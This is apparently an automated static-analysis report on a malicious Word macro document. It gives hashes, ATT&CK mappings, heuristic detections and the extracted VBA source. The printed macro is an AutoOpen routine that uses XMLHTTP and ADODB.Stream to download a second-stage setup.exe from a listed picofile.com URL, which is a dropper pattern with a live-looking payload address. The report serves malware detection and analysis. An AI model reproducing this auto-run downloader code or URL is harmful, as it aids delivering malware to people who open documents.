Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f5c70b799750cdf4…

MALICIOUS

Office (OOXML)

25.5 KB Created: 2021-06-11 06:23:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-06-17
MD5: aff7e2e1102154cac31d7e1b9f38795f SHA-1: 12743426db333a2f7338cdaed81d04ed347cc25a SHA-256: f5c70b799750cdf4843093689f122cd594e88b516c6ec33350ed8d9585f8aa46
282 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros, specifically an AutoOpen macro, which is a common technique for malware execution. The macro uses CreateObject to instantiate Microsoft.XMLHTTP and Adodb.Stream objects to download a second-stage executable from the URL "https://s18.picofile.com/d/8435906618/a27ddc7a-8599-479b-9e19-f2fd4b1988c3/setup.exe". The document body also contains instructions to "enable editing" and "enable content", further supporting the lure-based attack pattern.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://s18.picofile.com/d/8435906618/a27ddc7a-8599-479b-9e19-f2fd4b1988c3/setup.exe In document text (OOXML body / shared strings)
    • https://s18.picofile.com/d/8435906618/a27ddc7a-8599-479b-9e19-f2fd4b1988c3/setup.exe�In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 597 bytes
SHA-256: 815be35d7aeeb7fb8a9bb381e14d3d6591fac670a2f9efbe6310a0a4b3e14be9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"

Sub AutoOpen()

Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://s18.picofile.com/d/8435906618/a27ddc7a-8599-479b-9e19-f2fd4b1988c3/setup.exe", False
xHttp.Send




End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: 1f90cddc74708e38c21d0f2a56c48ca1e2d5fbee775ed353e84e30b481771155
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

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